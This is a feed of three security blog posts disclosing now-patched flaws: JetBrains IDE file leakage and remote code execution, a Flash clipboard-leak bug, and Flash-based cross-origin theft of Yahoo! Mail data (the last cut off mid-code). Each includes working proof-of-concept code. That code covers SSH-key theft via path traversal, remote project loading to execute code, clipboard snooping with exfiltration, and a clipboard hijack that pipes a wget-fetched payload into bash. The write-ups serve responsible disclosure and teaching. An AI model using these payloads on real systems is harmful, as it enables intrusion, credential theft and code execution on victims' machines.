<![CDATA[Defined Misbehaviour]]> 2016-08-16T12:54:12-07:00 http://blog.saynotolinux.com/ Octopress <![CDATA[JetBrains IDE Remote Code Execution and Local File Disclosure]]> 2016-08-15T00:00:00-07:00 http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis TL;DR

From at least 2013 until May 2016 JetBrains’ IDEs were vulnerable to local file leakage, with the Windows (EDIT: and OS X) versions additionally being vulnerable to remote code execution. The only prerequisite for the attack was to have the victim visit an attacker-controlled webpage while the IDE was open.

Affected IDEs included PyCharm, Android Studio, WebStorm, IntelliJ IDEA and several others.

I’ve tracked the core of most of these issues (CORS allowing all origins + always-on webserver) back to the addition of the webserver to WebStorm in 2013. It’s my belief that all JetBrains IDEs with always-on servers since then are vulnerable to variants of these attacks.

The arbitrary code execution vuln affecting Windows and OS X was in all IDE releases since at least July 13, 2015, but was probably exploitable earlier via other means.

All of the issues found were fixed in the patch released May 11th 2016.

Investigation

To follow along with this you’ll need a copy of PyCharm 5.0.4, or an old build of PyCharm 2016.1 since this has been patched for a while now. Obviously you’ll want to do this in a VM.

Initial Discovery

I had just started working on some inter-protocol exploitation research and was looking for some interesting targets. Thinking that I must have some interesting services running on my own device, I ran lsof -P -ITCP | grep LISTEN to see what programs were listening on a local TCP port. I got back:

1
2
3

$ lsof -P -iTCP | grep LISTEN
# ...
pycharm   4177 user  289u  IPv4 0x81a02fb90b4eef47      0t0  TCP localhost:63342 (LISTEN)

Hmm, I’ve used PyCharm as my IDE of choice for a while now, but never noticed that it bound to any ports… Might it be some sort of ad-hoc IPC mechanism? Let’s nmap it to figure out what’s being sent over those ports, and what the protocol is:

1
2
3
4
5
6
7
8

$ nmap -A -p 63342 127.0.0.1
# [...]
PORT      STATE SERVICE VERSION
63342/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r\ncontent-type:\x
# [...]

Looks like an HTTP server? Unusual for a local application… Let’s see what CORS headers it serves up with responses:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
> GET / HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
> 
< HTTP/1.1 404 Not Found
[...]
< access-control-allow-origin: http://attacker.com/
< vary: origin
< access-control-allow-credentials: true
< access-control-allow-headers: authorization
< access-control-allow-headers: origin
< access-control-allow-headers: content-type
< access-control-allow-headers: accept
< 
* Connection #0 to host 127.0.0.1 left intact
<!doctype html><title>404 Not Found</title><h1 style="text-align: center">404 Not Found</h1><hr/><p style="text-align: center">PyCharm 5.0.4</p>

Something smells off here. PyCharm’s HTTP server is essentially saying that web pages on any origin (including http://attacker.com) are allowed to make credentialed requests to it and read the response. What the heck is this HTTP server, though? Does it serve anything sensitive? Do we even care if random pages are able to read its contents?

What’s that HTTP server?

After searching the web for references to that port number, we find that this is related to a WebStorm feature added in early 2013 (WebStorm is another of JetBrains’ IDEs.) The idea was that you wouldn’t need to set up your own web server to preview your pages in a browser. You could just click a “view in browser” button inside WebStorm and it would navigate your browser to http://localhost:63342/<projectname>/<your_file.html>. Any scripts or subresources that the page tried to include would similarly be served up via URLs like http://localhost:63342/<projectname>/some_script.js. Fancy.

To verify that PyCharm embeds the same server as WebStorm, let’s create a project named “testing” in PyCharm and place a file named “something.txt” in the root and see if we can fetch it:

1
2
3
4
5
6
7
8
9
10
11
12

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"
> GET /testing/something.txt HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
> 
< HTTP/1.1 200 OK
[...]
< access-control-allow-origin: http://attacker.com/
[...]
these are the file contents!

Yikes, so any site can read any of your project files so long as they can guess the project name and filename. This would obviously include any in-tree configuration files that contained secrets like AWS keys and the like. Here’s an HTML snippet we could include on attacker.com that would do the same thing as our cURL command:

1
2
3
4
5
6

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:63342/testing/something.txt", true);
xhr.onload = function() {alert(xhr.responseText)};
xhr.send();
</script>

This is pretty bad, but as-is this would mostly be useful for targeted attacks. It’s a pain to have to guess at directory structures to get at the interesting files, so what are some ways we can weaponize this?

Weaponization

Escaping from the project directory

Let’s see if we can read files outside of the project directory. There are some files (like SSH keys, etc) that live at standard locations and are interesting for an attacker. Much more interesting than possible credentials for some database that might not even be accessible to us.

The obvious thing to do is see how it handles dot segments in the request URI:

1
2

$ curl -v "http://localhost:63342/testing/../../../.ssh/id_rsa"
* Rebuilt URL to: http://localhost:63342/.ssh/id_rsa

Bah. Per the spec dot segments in paths must be normalized away by either the client or the server. cURL’s behaviour here is the same as you’d see in a browser. Luckily PyCharm’s internal HTTP server treats dot segments with urlencoded /s like %2F..%2F as semantically equivalent to the unencoded /../ form, and browsers will not normalize those away.

1
2
3
4
5
6
7
8
9
10

$ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa"
> GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]

Great success! Our only limitation here is that we must know the name of a project the victim has open. Requesting /invalidproject/<anything> will always 404.

The obvious choice is to use a dictionary of potential project names a user could have open, and try to request /<potential_projectname>/.idea/workspace.xml (which is a metadata file automatically added to most JetBrains projects.)

1
2
3
4

$ curl --head "http://localhost:63342/testing/.idea/workspace.xml"
HTTP/1.1 200 OK
$ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml"
HTTP/1.1 404 Not Found

We got a 200 for testing, so we know it’s a valid project.

A naive PoC for this in JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

function findLoadedProject(cb) {
  var xhr = new XMLHttpRequest();
  // Let's assume we have a sensible dictionary here.
  var possibleProjectNames = ["foobar", "testing", "bazquux"];
  var tryNextProject = function() {
    if (!possibleProjectNames.length) {
      cb(null);
      return;
    }
    var projectName = possibleProjectNames.pop();
    xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);
    xhr.onload = function() {
      if(xhr.status === 200) {
        cb(projectName);
      } else {
        tryNextProject();
      }
    };
    xhr.send();
  };
}

var findSSHKeys = function(projectName) {
  var xhr = new XMLHttpRequest();
  var depth = 0;
  var tryNextDepth = function() {
    // No luck, SSH directory doesn't share a parent
    // directory with the project.
    if(++depth > 15) {
      return;
    }
    // Chances are that both `.ssh` and the project directory are under the user's home folder,
    // let's try to walk up the dir tree.
    dotSegs = "..%2f".repeat(depth);
    xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);
    xhr.onload = function() {
      if (xhr.status === 200) {
        console.log(xhr.responseText);
      } else {
        tryNextDepth();
      }
    };
    xhr.send();
  }
};

findLoadedProject(function(projectName) {
  if(projectName) {
    console.log(projectName, "is a valid project, looking for SSH key");
    findSSHKeys(projectName);
  } else {
    console.log("Failed to guess a project name");
  }
});

There’s no rate-limiting, and I was able to try about 2000 project names a second using this method with Chrome even on my older laptop.

Can we get around having to guess a project name?

At this point, I started looking at the various APIs that PyCharm exposed via the same webserver. Having to guess a valid, open project name to leak files is a big mitigating factor, and the API might give us a way around that.

Eventually I came upon the /api/internal endpoint, which corresponds to JetBrainsProtocolHandlerHttpService. Apparently this lets you pass in a JSON blob containing a URL with a jetbrains: scheme, and the IDE will do something special with it. As far as I can tell, none of the IDEs actually install a systemwide handler for those URLs, and those URLs are undocumented. In any case, let’s look for some interesting jetbrains: URLs we can pass it.

The jetbrains://<project_name>/open/<path> handler seems promising:

1
2
3
4
5
6
7
8
9
10
11
12

public class JBProtocolOpenProjectCommand extends JBProtocolCommand {
  public JBProtocolOpenProjectCommand() {
    super("open");
  }

  @Override
  public void perform(String target, Map<String, String> parameters) {
    String path = URLDecoder.decode(target);
    path = StringUtil.trimStart(path, LocalFileSystem.PROTOCOL_PREFIX);
    ProjectUtil.openProject(path, null, true);
  }
}

This lets us open a project by passing in its absolute path. The /etc directory exists on most *NIX-like systems, let’s try opening that:

1

$ curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'

Dang, so the directory needs to actually contain a JetBrains-style project, we can’t just pass any old directory. Lucky for us, PyCharm 2016.1 and above ship with a JetBrains-style project in their system folder! Under OS X this will be in /Applications/PyCharm.app/Contents/helpers, let’s try that:

1

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers"}'

Bingo. Now we don’t have to guess at an open project name as we now know the helpers project is open. There’s no standard location for PyCharm’s root folder under Linux (it’s wherever the user happened to untar it to,) but we can determine it by reqesting /api/about?more=true and looking at the homePath key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

{
  "name": "PyCharm 2016.1.2",
  "productName": "PyCharm",
  "baselineVersion": 145,
  "buildNumber": 844,
  "vendor": "JetBrains s.r.o.",
  "isEAP": false,
  "productCode": "PY",
  "buildDate": 1460098800000,
  "isSnapshot": false,
  "configPath": "/home/user/.PyCharm2016.1/config",
  "systemPath": "/home/user/.PyCharm2016.1/system",
  "binPath": "/home/user/opt/pycharm/bin",
  "logPath": "/home/user/.PyCharm2016.1/system/log",
  "homePath": "/home/user/opt/pycharm"
}

Once we’ve opened the helpers project, we determine the user’s home directory from the /api/about?more=true response and use that to construct a URL to their SSH keys like /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/<user>/.ssh/id_rsa:

1
2
3
4
5
6
7
8
9
10

$ curl -v "http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa"
> GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]

Exploitation under Windows is much easier

The above trick with opening the helpers directory that ships with PyCharm obviously only works if the user has PyCharm 2016.1 installed, everywhere else we still have to guess an open project name. How about something that works reliably with the other JetBrains IDEs like IntelliJ IDEA and Android Studio?

Since the jetbrains://project/open handler lets us pass a completely arbitrary path for the project to open, UNC paths are an obvious choice. UNC paths are a windows-specific path form that allows you to reference files on a network share, and they like \\servername\sharename\filepath. Many of Windows’ file APIs (and the Java APIs that wrap them) will happily take UNC paths and transparently connect to an SMB share on another computer, allowing you to read and write to the remote files as if they were local. If we can get the IDE to open a project from our SMB share, we won’t need to guess at what projects might be on the victim’s computer.

To test, I set up a remote Samba instance with an unauthenticated SMB share named “anontesting” that contained a JetBrains project, then tried opening it:

1

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing"}'

Great. Assuming the victim’s ISP doesn’t block outbound SMB traffic (due to the large number of worms that have historically propagated via SMB vulns) we can get them to load an arbitrary project from an SMB share we control.

The impact under Windows is much worse

Wait a second, seems like we can do something a lot more interesting than arbitrary file reads. With one request we can get Windows users to load an attacker-controlled project from our remote SMB share. There’s almost certainly abuse potential here, and we don’t have to look far to find it.

The projects for each of JetBrains’ IDEs have a notion of startup tasks. In PyCharm you can have a Python script run automatically on project load, and similarly on Android Studio and IntelliJ IDEA you can have a .jar run. Here I’ve made it so that the hax.py script in the project root will be automatically run when the project opens:

Now we just need to add a hax.py file to our project root containing:

1
2
3

import os

os.system("calc.exe")

We then put the project on our anonymous SMB share, and host a page with our payload that will cause the victim to load the malicious project:

1
2
3
4
5

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open/\\\\\\\\123.456.789.101\\\\anonshare\\\\testing"}');
</script>

As soon as the victim navigates to that page, our payload will trigger and the calculator will open:

Decent.

Turns out OS X wasn’t any safer

After this post was initially published comex pointed out that OS X will auto-mount remote NFS shares when you access them via the /net autofs mountpoint. That means exploiting the RCE under OS X is pretty similar to Windows, but we create an anonymous NFS share and open /net/<hostname>/<sharename>/<projectname>:

1

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'

with the HTML PoC looking something like:

1
2
3
4
5

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}');
</script>

This likely applies to any *NIX-like with an autofs mountpoint that uses -hosts, but OS X is the only OS I could find where autofs is configured like this in the default install.

PoCs

Remediation

JetBrains took several steps that I’m aware of to remediate this:

  • All requests to the local HTTP server now require an unguessable auth token to be included in the request, or the server will return a 4xx status code.
  • The problematic CORS policies were removed entirely
  • The Host header’s value is now validated to prevent similar exploits via DNS rebinding

Vendor response

Interactions with the vendor

I’d like to specifically thank Hadi Hariri and the rest of the JetBrains team for their proactive response to my report. My email requesting a security contact was answered within an hour of my sending it, and the issue was resolved relatively quickly.

They sent me a patchset against intellij-community and a binary build with their proposed solutions, and were receptive to my feedback when I mentioned potential issues.

Lastly, even though Jetbrains doesn’t have a bug bounty program that I’m aware of, and I definitely wasn’t expecting anything, Jetbrains quite generously awarded a bounty of $50,000 for my report and help reviewing the patch. I’ve asked them to donate the bulk of this to the PyPy project to fund improved Python 3 support, fingers crossed for await/async support in PyPy :).

Disclosure Timeline

  • 2016-04-04 - Discovered the local file disclosure issue
  • 2016-04-06 - Requested a security contact from the vendor
  • 2016-04-06 - Vendor replies with security contact information, requests vulnerability details
  • 2016-04-07 - Sent the vendor a PoC for the local file disclosure vulnerability
  • 2016-04-10 - Sent the vendor a more detailed report with remediation steps and details about the RCE on Windows
  • 2016-04-12 - Vendor responds that they are working on a patch
  • 2016-04-14 - Vendor responds with a patch against the open-source intellij-community repo for review
  • 2016-04-14 - Sent feedback to the vendor requesting changes to the patch, along with mitigation bypass PoCs
  • 2016-04-15 - Vendor responds that they are working on an updated patch that addresses the concerns
  • 2016-04-26 - Vendor indicates that they plan to release a patch soon
  • 2016-05-11 - Coordinated release of security patches for all JetBrains IDEs, security advisory published.
]]> <![CDATA[Leaking Clipboard Contents With Flash: Let's Explore User-Initiated Actions!]]> 2015-08-02T01:44:46-07:00 http://blog.saynotolinux.com/blog/2015/08/02/pastejacking-abusing-flash-to-leak-and-manipulate-clipboad-contents (NOTE: This article has been sitting in my drafts since May 2014. I am very lazy.)

TL;DR

Flash only allows read access to the clipboard in event handlers triggered by paste events, but Flash wasn’t checking if the clipboard contents had changed since entering the event handler. Due to quirks in how Flash’s event handlers work, an attacker could read from and write to the clipboard for hours after the user navigated away from page containing the SWF, even after navigating away or closing the incognito window.

Intro

All that messing around with Flash in my previous posts made me think that I should read more into Flash security. Even if you hate Flash as a user, it’s deployed pretty much everywhere and it’s valuable attack surface! It ended up paying off, after a couple days of testing and reading the docs, I was left with a new bug, CVE-2014-0504:

Let’s go into the combination of issues and possibly surprising behaviour in Flash that allowed clipboard leaking.

User-initiated actions and clipboard access in Flash

This isn’t the first time Flash has had issues with clipboard access. Back in the days of Flash 9, you could write to the clipboard with no interaction at all. That caused a few problems, so when Flash 10 rolled around, Adobe added a few restrictions to clipboard functionality:

First, the new Clipboard API only allowed writing to the clipboard when inside certain event handlers (mousedown, keydown, copy, etc.)

Second, that event handler had to have been triggered by user interaction, meaning that event handlers triggered by dispatchEvent et al. cannot write to the clipboard.

1
2
3

element.addEventListener(MouseEvent.CLICK, function(event:Event):void {
    Clipboard.generalClipboard.setData(ClipboardFormats.TEXT_FORMAT, "Yo dude!");
});

Additionally, a method allowing you to read from the clipboard was added. This was restricted even more, and could only be called inside user-initiated paste events.

1
2
3
4

element.addEventListener(Event.PASTE, function(event:Event):void {
    var contents = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT);
    //...snip
});

Overstaying our welcome

We’ve established that to call Clipboard.getData we must be in a paste event handler, and that handler must have been triggered by the user. As far as I can tell, there’s no way around that. Can we still abuse it?

The obvious thing to check is if we can block inside the event handler. In many browsers, blocking in an event handler in Flash will cause a plugin hang, and a prompt to kill the plugin will spawn. Chrome, however, keeps right on trucking, even when Flash is executing something like while(true){;} 1. The UI and JavaScript all work as usual, a prompt to kill the plugin will only be displayed if the user opens another tab that uses Flash. Actually, our handler will continue to execute even when the tab containing our SWF is closed!

Enjoying the view

Given that we aren’t really penalized for sitting around in a privileged event handler, there’s nothing to stop us from just calling Clipboard.getData() in a loop and checking for changes. We can just get the user to paste something non-sensitive, then abuse our clipboard access to read sensitive information that gets added to it later.

Here’s a basic demonstration of the issue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import flash.desktop.*;

protected function init():void {
    // Where jackTarget is a sprite that receives paste events
    jackTarget.addEventListener(Event.PASTE, logClipboard);
}

protected function logClipboard(event:Event):void {
    var lastCB:String = null;
    while(true) {
        // Try not to peg the CPU too much
        __sleep(1000);
        var newCB:String = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String;
        if(newCB != lastCB) {
            ExternalInterface.call("alert", newCB);
        }
    }
}

private static function __sleep(ms:int):void {
    var target:Date = new Date();
    target.time += ms;
    while(new Date() < target) { ; }
}

Roadblocks to real-world exploitability

Getting the initial paste event

To trigger the exploit, we need to convince the victim to paste something into our SWF. There are a number of usage patterns we could abuse to do that, but I liked the fake captcha method kkotowicz used for his cross-domain content extraction attack. We give the user a random string, and ask them to paste it into “verification box” (actually our SWF,) telling them it’s required to prove they’re not a bot:

Flash’s scriptTimeLimit

Flash will not allow a single event handler to run for longer than 60 seconds. A 60 second window for clipboard access is obviously not ideal for us.

Luckily, the time limit is on individual event handlers, and the paste event bubbles. We can just give our paste target tons of parent elements that also handle paste events, and allow the event to bubble up before the handler gets killed, Then we can log the clipboard for 60~ seconds * \<num of parents\>:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

function wrapInListeners(what:Sprite, eventType:String, handler:Function):Sprite {
    what.addEventListener(eventType, handler);
    var highest:Sprite = what;

    // Wrap the element in HBoxes that will handle the event when it bubbles up.
    for(var i:int = 0; i < 140; ++i) {
        var hbox:HBox = new HBox();
        hbox.addChild(highest);
        hbox.addEventListener(eventType, handler);
        highest = hbox;
    }

    return highest;
}
//...snip
wrapInListeners(target, Event.PASTE, tempJackClipboard);

Leaking clipboard contents to a remote server

Unfortunately, I couldn’t find a way to make Flash send HTTP requests while inside the event handler. However, we can pass the data to JavaScript and have it send the data to our servers, since our ActionScript handlers won’t block JS:

1

ExternalInterface.call('leakData', Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String);

1
2
3

function leakData(data) {
   (new Image()).src = "/leak?data=" + encodeURIComponent(data);
}

The ExternalInterface method has the caveat that it will longer work after we’ve navigated away from the page or the tab was closed, even though our event handler will continue to run. As a fallback, we can use Flash’s TCP socket support, which allows synchronous communication. Again, with a caveat that it only seems allow sending a single message while in the event handler 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// Initialization code...
var leakSocket:Socket = new Socket();
var url:String = loaderInfo.url;
if(URLUtil.isHttpURL(url) || URLUtil.isHttpsURL(url)) {
    // Set up socket comms with the server
    leakSocket.connect(URLUtil.getServerName(url), 5190);
}

// Inside paste event handler...
if(leakSocket.connected) {
    leakSocket.writeUTFBytes(encoded);
    // only seems to work once while within the handler
    leakSocket.flush();
}

Going the extra mile

So we can leak the clipboard remotely even after navigating away. That’s neat, but we can actually do a lot more! Remember how Flash allows us to write to the clipboard in certain handlers as well? That lets us do all sorts of sneaky things, like detect when someone copies what looks like HTML, and then modify it to include a malware script. Even better, we can detect clipboard contents that look like commands and slip our own payload into them!

1
2
3
4
5
6
7
8
9
10
11
12

var PAYLOAD_START:String = 'echo -e "\\x1B[A\\x1B[J\\$ you could use more complex vt100 codes to scrub this properly but eh";';
// The trailing newline will make it execute immediately after pasting in many shells, not giving them time to inspect the command
// see https://cirw.in/blog/bracketed-paste
var PAYLOAD_END:String = ';wget "http://saynotolinux.com/bash_payload.txt" -O - 2>/dev/null | bash;\n';
// snip...

var cbContents:String = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String;
// This looks like an interesting command to hijack, the user will be expecting to enter their sudo password,
// and they won't need to enter a password for our payload if we run it afterwards.
if (cbContents.match(/^sudo /)) {
    Clipboard.generalClipboard.setData(ClipboardFormats.TEXT_FORMAT, PAYLOAD_START + cbContents + PAYLOAD_END);
}

PoC

The code for a full PoC is here, and a live version without the echo server is also up here.

The Fix

The initial fix was to expose a sequence number to Flash so it could tell if the clipboard state had changed since the initial event was raised, and block access to the clipboard. That stayed in place for a while, but some time after that it was replaced with a change that blocked clipboard reads 10 seconds after the event was raised. If I had to guess why, some application probably relied on being able to do multiple clipboard reads and writes in the same event handler.

Being able to read the clipboard 10 seconds after the initial paste event still seems a bit much, but it’s definitely better than how it was before.

The Take-Away

  • Flash event handlers may continue to execute up to two hours after starting, even after closing incognito windows!
  • Flash’s Socket class is useful something other than bypassing the user’s proxy!
  • Flash still has low-hanging fruit to be picked, and its stdlib is absolutely enormous. There aren’t many eyeballs on it either, you’re only really competing against Masato Kinugawa :)

Disclosure Timeline

  • 2014-01-06: Disovered the bug
  • 2014-01-09: Reported to Google’s sec team due to it mostly affecting PPAPI Flash
  • 2014-01-09: Bug confirmed by Google’s security team
  • 2014-01-13: Bug confirmed by Adobe’s security team
  • 2014-01-29: Google ships code exposing the clipboard sequence num to Flash via PPAPI
  • 2014-03-14: Adobe ships a fix to use Chrome’s clipboard sequence number
  • ???: Flash switches to allowing clipboard reads for 10 seconds after the event is raised

Footnotes

  1. Firefox on Linux demonstrates similar behaviour, but allows Flash’s event handlers to continue executing even after the browser has closed.↩

  2. Again, Firefox on Linux behaves differently. You can send / receive as much as you want, even after the browser has closed. It’s possible that Chrome’s behaviour is a bug.↩

]]> <![CDATA[Seizing Control of Yahoo! Mail Cross-Origin... Again]]> 2014-12-09T03:56:01-08:00 http://blog.saynotolinux.com/blog/2014/12/09/seizing-control-of-yahoo-mail-cross-origin-again This is a follow-up to another article about crossorigin mail theft on Yahoo! Mail using Flash. For a better understanding of the issue, you can read that here: http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/

TL;DR

A .swf on Yahoo’s CDN had a vulnerability that enabled near-complete control over Yahoo! Mail crossorigin. The .swf itself is fixed, but the configuration issue that allowed a .swf completely unrelated to Yahoo! Mail to do something like that still exists.

The Issue

So, in the last article we established that YMail’s crossdomain.xml rules are incredibly lax:

1
2
3
4
5

<crossorigin-policy>
  <allow-access-from domain="*.yahoo.com" secure="false"/>
  <allow-access-from domain="l.yimg.com" secure="false"/>
  <allow-access-from domain="s.yimg.com" secure="false"/>
</crossorigin-policy>

They allow .swfs on any subdomain of yahoo.com to read resources on YMail crossorigin. Last time we abused a crossorigin proxy on hk.promotions.yahoo.com to serve up our own .swf that would request pages from YMail and leak them back to us. The crossorigin proxy has since been patched, but the loose crossdomain.xml rules remain. Assuming there’s no way for us to serve our own .swf through yahoo.com anymore, how can we exploit these rules without using MITM attacks? Well, we abuse vulnerabilities in .swfs that are legitimately hosted on subdomains of yahoo.com.

Let’s look for a .swf that will allow us to make arbitrary requests, and read the response. With a little searching we find a good candidate, hotspotgallery.swf, related to a feature on Yahoo! Autos that gives 3D tours of cars. Normally it’s served up on sp.yimg.com, which isn’t a domain allowed by YMail’s crossdomain.xml, but with a little finagling we find that the same .swf can also be accessed on img.autos.yahoo.com.

Let’s take a peek at the ActionScript from the decompiler to see why this .swf is useful to us:

1
2
3
4
5
6
7

public dynamic class MainTimeline extends MovieClip {
    // ... snip
  function frame1(){
      Security.allowDomain("*");
      // ... snip
  }
}

Immediately we notice the Security.allowDomain("*"), which is usually not a good sign. The reason for that is Flash has a feature where you can embed a crossorigin .swf inside your own. You can access and call the public members of the embedded .swf’s MovieClip object, but normally this is disallowed unless the embedding .swf is same-origin with it.

Security.allowDomain() allows you to relax that restriction for specific domains, and this .swf is saying .swfs from any domain can access its MovieClip’s public members. Security.allowDomain("*") isn’t necessarily a security issue on its own, unless your .swf’s public members do or store something security sensitive. Now, this .swf is vulnerable, and to see why we’ll look at the loadXML2() method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

public dynamic class MainTimeline extends MovieClip {
  public var exteriorXML:String;
  public var DATA3:XML;
  public var dataPath;
  // ... snip
    public function loadXML2():void{
        var ldr:* = null;
        var loader_IO_ERROR:* = null;
        var ldrEventHandler:* = null;
        loader_IO_ERROR = function ():void{
        };
        ldrEventHandler = function (_arg1:Event):void{
            DATA3 = new XML(_arg1.target.data);
            temp.text = DATA3;
            loadAnim((enginePath + "/angfront.swf"), -10, -10);
        };
        ldr = new URLLoader();
        try {
            ldr.load(new URLRequest(dataPath + "/" + exteriorXML1));
        } catch(error:SecurityError) {
            trace("A SecurityError has occurred.");
        };
        ldr.addEventListener(IOErrorEvent.IO_ERROR, loader_IO_ERROR);
        ldr.addEventListener(Event.COMPLETE, ldrEventHandler);
    }
    // ... snip
}

As you can see, the code makes a request to this.dataPath concatenated with this.exteriorXML1. When it gets a response, it parses it as XML, and stores the result in this.DATA3. But we control all 3 of those members due to the public access modifiers and Security.allowDomain("*"), and can both read from and write to them from .swfs on our own domain. Given that we control the URL requested, can read the response, and can trigger the behaviour at will, all from a crossorigin Flash document, we’ve got crossorigin data leakage!

Well… with a few caveats:

  • The target endpoint must respond to GETs
  • If the response has angle brackets in it and it isn’t syntactically correct XML, we probably can’t get the response. The reason for that is the response is run through the XML constructor and it simply throws in the case of invalid XML. Luckily, Flash considers JSON without angle brackets to be valid XML and treats it as a single TextNode, so some JSON can still be leaked.
  • We can’t get the response if the status code is non-200 since this code only stores the response in the success case.
  • The endpoint can’t require an auth token we can’t guess

First Steps

Let’s start by making some ActionScript to embed and exploit hotspotgallery.swf. From here on you will need to be logged in to Yahoo! for some links to work. Here we’ve got a very simple JS<->Flash proxy in the style of CrossXHR. It loads up the vulnerable .swf, sets its public members so it’ll request the resource we want to leak, then returns the response back to JS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

package {
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.net.*;
import flash.text.*;
import flash.utils.*;
import flash.system.*;

public class YahooFlasher extends MovieClip {

    // Vulnerable SWF to make our requests through
    private static const PROXY_URL:String = "http://img.autos.yahoo.com/i/izmo/engine/hotspotgallery/hotspotgallery.swf";

    // Get just the origin from a fully-qualified URL
    private static const ORIGIN_REGEX:RegExp = /^(\w+:\/\/[^\/]+\/).*/;

    public function YahooFlasher() {
        addEventListener(Event.ADDED_TO_STAGE, onAdded);
    }

    private function onAdded(e:Event):void {
        // Set timeout to avoid syncronous issues
        setTimeout(function():void {
            if (ExternalInterface.available) {
                // Let's not make *ourselves* vulnerable to weird exploits.
                var swfOrigin:String = loaderInfo.url.replace(ORIGIN_REGEX, "$1");
                if(!ORIGIN_REGEX.test(swfOrigin) || swfOrigin != Security.pageDomain) {
                    ExternalInterface.call("alert", "AY! This .swf needs to be on the same page as the one embedding it!");
                    return;
                }
                ExternalInterface.addCallback("stealData", stealData);
                ExternalInterface.call("flasherReady");
            }
        }, 1);
    }

    public function stealData(targetURL:String, callback:String):void {
        ///
        /// Steal data through the proxy SWF, response body must look like
        /// valid XML and status code must not be >= 400.
        ///
        var ldrComplete:Function = function (_arg1:Event):void {
            setTimeout(function():void{
                var proxyClip:Object = MCLoader.content;

                // This thing's all janked and the request will be made to dataPath + "/" + exteriorXML1.
                // Try to make it so that this won't affect our target.
                var splitURL:Array = targetURL.split('/');
                proxyClip.dataPath = splitURL.shift();
                proxyClip.exteriorXML1 = splitURL.join('/');

                // Triggers the HTTP Request through the vulnerable SWF
                proxyClip.loadXML2();

                var timeLimit:Number = new Date().getTime() + 10000;

                // Keep checking if the data's been loaded,
                // If `new XML(response)` raises, this will never be true,
                // the response has to look like valid XML, but most JSON
                // resources work too. Maybe because it sees it as one big 
                // top-level TextNode?
                function checkFinished():void {
                    setTimeout(function():void {
                        var stolenXML:XML = proxyClip.DATA3;
                        if(stolenXML !== null) {
                            var ret:String;
                            // If we get a simple node with no name, it's probably not even XML.
                            // Get the string representation without XML escaping.
                            if(stolenXML.name() || stolenXML.hasComplexContent())
                                ret = stolenXML.toXMLString();
                            else
                                ret = stolenXML.toString();

                            if(callback)
                                // Flash can't be trusted to serialize `ret` properly. Just encode it.
                                ExternalInterface.call(callback, encodeURIComponent(ret));
                        } else {
                            // Hit a timeout when trying to fetch the response. Either a non-200 status code
                            // was returned, or we couldn't parse the body as XML :(
